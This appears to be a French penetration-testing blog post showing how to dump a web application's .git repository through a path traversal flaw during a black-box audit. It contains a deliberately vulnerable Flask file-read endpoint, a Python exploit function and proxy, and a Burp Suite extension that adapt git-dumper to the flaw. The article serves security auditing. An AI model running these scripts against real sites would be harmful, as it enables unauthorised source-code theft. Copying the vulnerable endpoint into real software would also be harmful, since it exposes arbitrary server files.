Dans le cadre d’un audit de sécurité d’un site web, il est courant de ne pas avoir accès au code source de l’application auditée (boîte noire). Cette situation est souvent contraignante, car le temps limité de l’audit peut être gaspillé sur des fonctionnalités qui auraient pu être rapidement analysé avec un accès au code source. Dans ce contexte, une des priorités des auditeurs est de trouver un moyen de récupérer le code en production.
Pour ce faire, les vulnérabilités de type Path Traversal sont idéales. Elles permettent d’accéder au système de fichiers du serveur hébergeant l’application web. Néanmoins, une fois la vulnérabilité identifiée, l’extraction complète de l’application peut s’avérer complexe.

Récupérer le code de l’application

Il est rare de pouvoir lister les fichiers présents dans une application externe. Par conséquent, il est possible que des fichiers soient omis par l’auditeur. Une technique efficace est l’extraction du dossier .git. Exposer ce dossier est connu pour être risqué, mais quand celui-ci n’est pas accessible directement depuis internet, il est possible de le récupérer à l’aide de path traversal. Cela permet de récupérer l’intégralité du code source de l’application.
De plus, Git est utilisé par presque toutes les applications web pour suivre les modifications, faciliter le travail collaboratif, gérer les branches et s’intégrer avec des outils de déploiement et d’intégration continue.

Pour identifier l’emplacement de ce dossier, il est possible d’énumérer les fichiers du site web à l’aide d’outils comme ffuf, dirsearch ou gobuster. Une autre méthode serait de fuzzer notre path traversal avec des chemins connus tels que .git/HEAD ou encore .git/INDEX.

Des outils comme git-dumper existent déjà pour l’extraction des différents fichiers git. Cependant, ceux-ci sont conçus pour des dossiers exposés sans contrôle d’accès.
Si notre vulnérabilité se trouve dans un paramètre GET et renvoie uniquement le page souhaité, alors l’extraction se fait aisément. Il suffit de passer l’URL complète en lui spécifiant les paramètres vulnérables à la suite de celle-ci. De plus, git-dumper possède une option -H permettant d’ajouter des en-têtes à nos requêtes HTTP nous facilitant ainsi les extractions de manière authentifiée en ajoutant des cookies.

git-dumper 'https://vuln-website/admin/download.php?Path=/.git' output -H "Cookie=PHPSESSID=8bcc4d3d57dcc76fa46b108fac7443b6"

Néanmoins, si notre vulnérabilité retourne des données supplémentaires de celles souhaitées ou si elle est exploitable via une requête POST, alors l’extraction devient plus complexe à mettre en œuvre.

Plusieurs solutions s’offrent à nous, nous pouvons :

  • Développer un script pour récupérer et extraire le .git via notre path traversal.
  • Patcher git-dumper afin de prendre en compte notre contexte précis.
  • Développer un proxy HTTP pour réécrire la requête de git-dumper.
  • Utiliser le proxy de Burpsuite.

La première solution semble compliquée à mettre en place et des outils existent déjà. Le code de git-dumper n’est pas facilement patchable, en effet, il invoque le module requests à plusieurs endroits ce qui implique de modifier plusieurs endroits du code. De plus, cette seconde solution n’est pas modulable ni adaptable rapidement pour des cas similaires.
L’utilisation de serveurs proxies HTTP paraît donc plus adapté.

Dans cet article, nous mettrons en place un proxy HTTP from scratch à l’aide de python, puis en utilisant l’outil BurpSuite.

Pour illustrer l’extraction du code, j’ai mis en place le serveur HTTP vulnérable suivant :

from flask import Flask, request, render_template
from base64 import b64encode
import os

app = Flask(__name__)

@app.route('/get_file', methods=['POST'])
def get_file():
    path = request.form.get('path')
    if not path or not os.path.exists(path):
        return ''

    with open(path, 'rb') as f:
        return f'<div id="output">{b64encode(f.read()).decode("utf-8")}</div>'

@app.route('/')
def home():
    return render_template('index.html')

if __name__ == '__main__':
    app.run(debug=True, port=5000)

Cette application prend en paramètre path un chemin vers un fichier et renvoie son contenu encodé en base64.

Exploit

Un dossier .git est par ailleurs initialisé à la racine de l’application :

git init .
git add .
git commit -m "add files"

Voici l’arborescence de notre application vulnérable :

.
├── .git
│ ├── branches
│ ├── COMMIT_EDITMSG
│ ├── config
│ ├── description
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg.sample
│ │ ├── commit-msg.sample
│ │ ├── fsmonitor-watchman.sample
│ │ ├── post-update.sample
│ │ ├── pre-applypatch.sample
│ │ ├── pre-commit.sample
│ │ ├── pre-merge-commit.sample
│ │ ├── prepare-commit-msg.sample
│ │ ├── pre-push.sample
│ │ ├── pre-rebase.sample
│ │ ├── pre-receive.sample
│ │ ├── push-to-checkout.sample
│ │ ├── sendemail-validate.sample
│ │ └── update.sample
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
│ │ ├── HEAD
│ │ └── refs
│ │     └── heads
│ │         └── master
│ ├── objects
│ │ ├── 41
│ │ │ └── dfba21d84134552ca00e840dda205f958459b4
│ │ ├── 4d
│ │ │ └── 462d011937b4589f9c973cbb424a98366d6909
│ │ ├── 6a
│ │ │ └── ef13e1bc8a3450e0b15e24374788648a4f5b86
│ │ ├── 6d
│ │ │ └── 7f98e11c64d9e3439b3474aa49370b1932d2d5
│ │ ├── b4
│ │ │ └── 4880118b949022ee59f8736fb4fa7ffd15e952
│ │ ├── info
│ │ └── pack
│ └── refs
│     ├── heads
│     │ └── master
│     └── tags
├── main.py
└── templates
    └── index.html

Proxy HTTP en python

La première chose à faire est d’écrire une fonction exploitant notre path traversal. Le module requests de Python nous permet de le faire rapidement.

import requests
from bs4 import BeautifulSoup
from base64 import b64decode

def exploit_path_trav(filename: str) -> str:
    r = requests.post("http://localhost:5000/get_file", data={"path": filename})

    soup = BeautifulSoup(r.text, 'html.parser')
    result = soup.find(id='output')

    if result:
        return b64decode(result.text).decode()
    return ''

Par la suite, nous pouvons créer notre serveur proxy à l’aide de la bibliothèque http.server native de python. Ce proxy va intercepter toutes les requêtes vers le domaine extractor.local puis récupérer le chemin spécifié dans l’URL et renvoyer le résultat de notre fonction.

from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse
from base64 import b64decode

class ProxyHTTPRequestHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.headers['Host'] == 'extractor.local':
            parsed_url = urlparse(self.path)
            self.handle_request(parsed_url.path)

    def handle_request(self, path):
        result = self.exploit_path_trav(path)
        if result:
            self.send_response(200)
            self.send_header('Content-type', 'text/plain')
            self.end_headers()
            self.wfile.write(result.encode())
        else:
            self.send_error(404)

    def exploit_path_trav(self, filename: str) -> str:
        r = requests.post("http://localhost:5000/get_file", data={"path": filename})

        soup = BeautifulSoup(r.text, 'html.parser')
        result = soup.find(id='output')

        if result:
            return b64decode(result.text).decode()
        return ''

if __name__ == '__main__':
    server_address = ('', 1337)
    print(f'Starting proxy on port 1337...')
    httpd = HTTPServer(server_address, ProxyHTTPRequestHandler)
    httpd.serve_forever()

Nous pouvons maintenant configurer notre proxy HTTP dans bash et extraire notre dossier à l’aide de git-dumper.

export http_proxy=http://localhost:1337
git-dumper http://extractor.local/.git/ output_dir

De cette manière, il est facilement possible d’extraire le dossier .git peu importe son format de sortie.

Proxy HTTP de BurpSuite

Afin de pouvoir modifier les requêtes et réponses dans notre proxy, la solution qui m’a semblé être adéquate fut d’écrire une extension. Ce fut ma première extension Burpsuite et j’en ai conclu deux choses :

  • La documentation de l’api de Burpsuite est adapté pour java, mais beaucoup moins pour jython.
  • Jython peut s’avérer limitant, car il est restreint à du code pour python2, plusieurs fonctionnalités usuelles ne sont donc pas supportées dû à la transpilation vers du code Java.

Voici néanmoins le code de l’extension :

# -*- coding: utf-8 -*- 

from burp import IBurpExtender
from burp import ITab
from java.io import PrintWriter
from burp import IProxyListener

import re
import base64

class BurpExtender(IBurpExtender,IProxyListener):
    def registerExtenderCallbacks(self, callbacks):
        self._callbacks = callbacks
        self._helpers = callbacks.getHelpers()

        callbacks.setExtensionName("git dumper proxy")

        # obtain our output stream
        self._stdout = PrintWriter(callbacks.getStdout(), True)

        # register ourselves as a Proxy listener
        callbacks.registerProxyListener(self)
        self._stdout.println("Extension is Loaded")

    def processProxyMessage(self, messageIsRequest, message):
        self._stdout.println(
                        ("Proxy request to " if messageIsRequest else "Proxy response from ") +
                        message.getMessageInfo().getHttpService().toString())

        messageInfo=message.getMessageInfo()
        http_service = messageInfo.getHttpService()

        if messageIsRequest:
            request_str = messageInfo.getRequest().tostring()

            # Regex to match the request pattern
            pattern = r'GET (.*) HTTP\/[0-9]\.[0-9]\r\nHost: extractor\.local'
            match = re.search(pattern, request_str)

            if match:
                # on récupère le path de notre regex
                path = match.group(1)

                # on passe notre path en paramètre GET.
                new_body = "path=./"+path

                # les nouveaux headers vers notre host vulnérable
                new_headers = [
                    "POST /get_file HTTP/1.1",
                    "Host: localhost:5000",
                    "User-Agent: curl/8.8.0",
                    "Accept: */*",
                    "Content-Length: "+str(len(new_body)),
                    "Content-Type: application/x-www-form-urlencoded",
                    "Connection: close"
                ]

                # on change également la target vers notre domaine vulnérable
                new_http_service = self._helpers.buildHttpService("localhost", 5000, False)
                messageInfo.setHttpService(new_http_service)

                new_request = self._helpers.buildHttpMessage(new_headers, new_body)

                # on update notre nouvelle requete
                messageInfo.setRequest(new_request)

        else:
            # si la réponse provient de notre host vulnérable, alors on la modifie
            if http_service.getHost() == "localhost" and http_service.getPort() == 5000:

                response = messageInfo.getResponse()
                analyzedResponse = self._helpers.analyzeResponse(response)

                # on réucpère le contenu de la reponse
                body = response[analyzedResponse.getBodyOffset():].tostring()

                # BeautifulSoup non supporté par jython, donc j'ai utiliser un regex
                pattern = r'<div.*>(.*)</div>'
                match = re.search(pattern, body)

                # on récupère et décode notre leak de fichier
                if match:
                    new_body = base64.b64decode(match.group(1))
                else:
                    new_body = ''

                # mettre le content type en text/plain, sinon git-dumper chouine qu'il reçoit de l'html
                headers = [
                    "HTTP/1.1 200 OK",
                    "Content-Type: text/plain",
                    "Content-Length: " + str(len(body)),
                ]

                new_response = self._helpers.buildHttpMessage(headers, new_body)

                # Update the response in the messageInfo
                messageInfo.setResponse(new_response)

Une fois l’extension chargée dans BurpSuite, il suffit ensuite de définir notre proxy HTTP comme précédemment et lancer notre git-dumper.

export http_proxy=http://localhost:8080
git-dumper http://extractor.local output

Conclusion

L’utilisation d’une vulnérabilité de type path traversal pour extraire un dépôt .git peut se révéler une stratégie efficace lors d’un audit de sécurité en boîte noire. Grâce à un proxy HTTP personnalisé, il est possible d’adapter les outils existants pour extraire les données sensibles, même lorsque la vulnérabilité est exploitable via des paramètres spécifiques dans des contextes inhabituels.